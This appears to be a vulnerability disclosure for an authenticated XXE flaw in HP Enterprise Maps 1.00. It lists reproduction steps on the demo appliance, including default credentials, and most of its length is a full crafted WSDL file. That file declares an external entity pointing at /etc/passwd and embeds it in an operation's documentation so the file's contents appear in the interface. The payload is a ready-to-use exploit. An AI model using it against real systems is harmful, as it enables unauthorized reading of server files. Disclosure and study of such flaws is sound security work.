HP Enterprise Maps 1.00 Authenticated XXE vulnerability

http://www8.hp.com/us/en/software/enterprise-software.html


Any user that has the ability to import a file to create an artifact (most,
if not all authed users?)

can upload a specially crafted WSDL that will read files such as
/etc/passwd.


If you download the OVA available, then log in as vagrant:vagrant over ssh,
you should see a

series of commands followed by a bash prompt. Follow the instructions
printed, I also followed the instruction to install the demo data.


After this, you have two accounts available, ‘admin’ and ‘demoapprover’.
Both have the

password ‘changeit’.


You may log in as either of these users, and import the following WSDL as a
file (Import menu

item -> File), then follow the first link to the ‘GetQuote’ method when it
finishes parsing the

WSDL. The /etc/passwd file will be listed at the top.


======
Example WSDL: https://gist.github.com/brandonprry/470bb4ec7d019cbfe4e6

<?xml version="1.0" encoding="utf-8"?>!
<!DOCTYPE foo [ !
<!ELEMENT foo ANY >!
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>!
<wsdl:definitions xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:mime="http://
schemas.xmlsoap.org/wsdl/mime/" xmlns:tns="http://www.webserviceX.NET/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:s="http://www.w3.org/2001/
XMLSchema" xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/" xmlns:http="http://
schemas.xmlsoap.org/wsdl/http/" targetNamespace="http://www.webserviceX.NET/"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">!
<wsdl:types>!
<s:schema elementFormDefault="qualified" targetNamespace="http://
www.webserviceX.NET/">!
<s:element name="GetQuote">!
<s:complexType>!
<s:sequence>!
<s:element minOccurs="0" maxOccurs="1" name="symbol" type="s:string" />!
</s:sequence>!
</s:complexType>!
</s:element>!
<s:element name="GetQuoteResponse">!
<s:complexType>!
<s:sequence>!
<s:element minOccurs="0" maxOccurs="1" name="GetQuoteResult" type="s:string" />!
</s:sequence>!
</s:complexType>!
</s:element>!
<s:element name="string" nillable="true" type="s:string" />!
</s:schema>!
</wsdl:types>!
<wsdl:message name="GetQuoteSoapIn">!
<wsdl:part name="parameters" element="tns:GetQuote" />!
</wsdl:message>!
<wsdl:message name="GetQuoteSoapOut">!
<wsdl:part name="parameters" element="tns:GetQuoteResponse" />!
</wsdl:message>!
<wsdl:message name="GetQuoteHttpGetIn">!
<wsdl:part name="symbol" type="s:string" />!
</wsdl:message>!
<wsdl:message name="GetQuoteHttpGetOut">!
<wsdl:part name="Body" element="tns:string" />!
</wsdl:message>!
<wsdl:message name="GetQuoteHttpPostIn">!
<wsdl:part name="symbol" type="s:string" />!
</wsdl:message>!
<wsdl:message name="GetQuoteHttpPostOut">!
<wsdl:part name="Body" element="tns:string" />!
</wsdl:message>!
<wsdl:portType name="StockQuoteSoap">!
<wsdl:operation name="GetQuote">!
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">&xxe;</
wsdl:documentation>!
<wsdl:input message="tns:GetQuoteSoapIn" />!
<wsdl:output message="tns:GetQuoteSoapOut" />!
</wsdl:operation>!
</wsdl:portType>!
<wsdl:portType name="StockQuoteHttpGet">!
<wsdl:operation name="GetQuote">!
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">Get Stock quote for a
company Symbol</wsdl:documentation>!
<wsdl:input message="tns:GetQuoteHttpGetIn" />!
<wsdl:output message="tns:GetQuoteHttpGetOut" />!
</wsdl:operation>!
</wsdl:portType>!
<wsdl:portType name="StockQuoteHttpPost">!
<wsdl:operation name="GetQuote">!
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">Get Stock quote for a
company Symbol</wsdl:documentation>!
<wsdl:input message="tns:GetQuoteHttpPostIn" />!
<wsdl:output message="tns:GetQuoteHttpPostOut" />!
</wsdl:operation>!
</wsdl:portType>!
<wsdl:binding name="StockQuoteSoap" type="tns:StockQuoteSoap">!
<soap:binding transport="http://schemas.xmlsoap.org/soap/http" />!
<wsdl:operation name="GetQuote">!
<soap:operation soapAction="http://www.webserviceX.NET/GetQuote" style="document" />!
<wsdl:input>!
<soap:body use="literal" />!
</wsdl:input>!
<wsdl:output>!
<soap:body use="literal" />!
</wsdl:output>!
</wsdl:operation>!
</wsdl:binding>!
<wsdl:binding name="StockQuoteSoap12" type="tns:StockQuoteSoap">!
<soap12:binding transport="http://schemas.xmlsoap.org/soap/http" />!
<wsdl:operation name="GetQuote">!
<soap12:operation soapAction="http://www.webserviceX.NET/GetQuote" style="document" /
>!
<wsdl:input>!
<soap12:body use="literal" />!
</wsdl:input>!
<wsdl:output>!
<soap12:body use="literal" />!
</wsdl:output>!
</wsdl:operation>!
</wsdl:binding>!
<wsdl:binding name="StockQuoteHttpGet" type="tns:StockQuoteHttpGet">!
<http:binding verb="GET" />!
<wsdl:operation name="GetQuote">!
<http:operation location="/GetQuote" />!
<wsdl:input>!
<http:urlEncoded />!
</wsdl:input>!
<wsdl:output>!
<mime:mimeXml part="Body" />!
</wsdl:output>!
</wsdl:operation>!
</wsdl:binding>!
<wsdl:binding name="StockQuoteHttpPost" type="tns:StockQuoteHttpPost">!
<http:binding verb="POST" />!
<wsdl:operation name="GetQuote">!
<http:operation location="/GetQuote" />!
<wsdl:input>!
<mime:content type="application/x-www-form-urlencoded" />!
</wsdl:input>!
<wsdl:output>!
<mime:mimeXml part="Body" />!
</wsdl:output>!
</wsdl:operation>!
</wsdl:binding>!
<wsdl:service name="StockQuote">!
<wsdl:port name="StockQuoteSoap" binding="tns:StockQuoteSoap">!
<soap:address location="http://www.webservicex.net/stockquote.asmx" />!
</wsdl:port>!
<wsdl:port name="StockQuoteSoap12" binding="tns:StockQuoteSoap12">!
<soap12:address location="http://www.webservicex.net/stockquote.asmx" />!
</wsdl:port>!
<wsdl:port name="StockQuoteHttpGet" binding="tns:StockQuoteHttpGet">!
<http:address location="http://www.webservicex.net/stockquote.asmx" />!
</wsdl:port>!
<wsdl:port name="StockQuoteHttpPost" binding="tns:StockQuoteHttpPost">!
<http:address location="http://www.webservicex.net/stockquote.asmx" />!
</wsdl:port>!
</wsdl:service>!
</wsdl:definitions>!
======




Image of page once exploited: http://imgur.com/14eAOCw

-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website